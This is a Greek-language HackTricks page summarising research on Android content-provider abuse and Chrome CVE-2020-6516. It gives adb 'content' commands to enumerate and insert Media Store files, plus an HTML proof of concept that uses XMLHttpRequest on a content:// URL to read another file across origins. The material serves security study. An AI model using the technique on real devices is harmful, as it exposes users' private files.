8.7 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αυτό είναι ένα σύνοψη του άρθρου https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Καταχώρηση Αρχείων στο Media Store
Για να καταχωρήσετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
$ content query --uri content://media/external/file
Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζονται μόνο ο αναγνωριστικός αριθμός και η διαδρομή του κάθε ευρετηριασμένου αρχείου:
$ content query --uri content://media/external/file --projection _id,_data
Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο content://
URI. Πληροφορίες σχετικά με τις διαδρομές για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία manifest των εφαρμογών ή από τον πηγαίο κώδικα του πλαισίου εφαρμογών Android.
Πρόσβαση του Chrome σε Πάροχους Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος content://
, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να επιδείξουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Το αρχείο μπορεί να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.
Για παράδειγμα, για να εμφανιστούν οι αρχείο που σχετίζονται με μια συγκεκριμένη εφαρμογή:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Παράκαμψη του Same-Origin-Policy
Το Same Origin Policy (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες να αλληλεπιδρούν με πόρους από διαφορετικές προέλευσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στην αποτροπή διαρροών πληροφοριών και επιθέσεων cross-site request forgery. Ο Chrome θεωρεί το content://
ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Ωστόσο, η CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονται μέσω ενός URL content://
. Στην πράξη, ο κώδικας JavaScript από ένα URL content://
μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL content://
, πράγμα που αποτελούσε σημαντικό πρόβλημα ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες της Android 10, όπου δεν είχε εφαρμοστεί η scoped storage.
Το παρακάτω παράδειγμα επίδειξης αποδεικνύει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά τη μεταφόρτωσή του στον φάκελο /sdcard και την προσθήκη του στο Media Store, χρησιμοποιεί το XMLHttpRequest
στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει το περιεχόμενο ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Παράδειγμα HTML επίδειξης:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.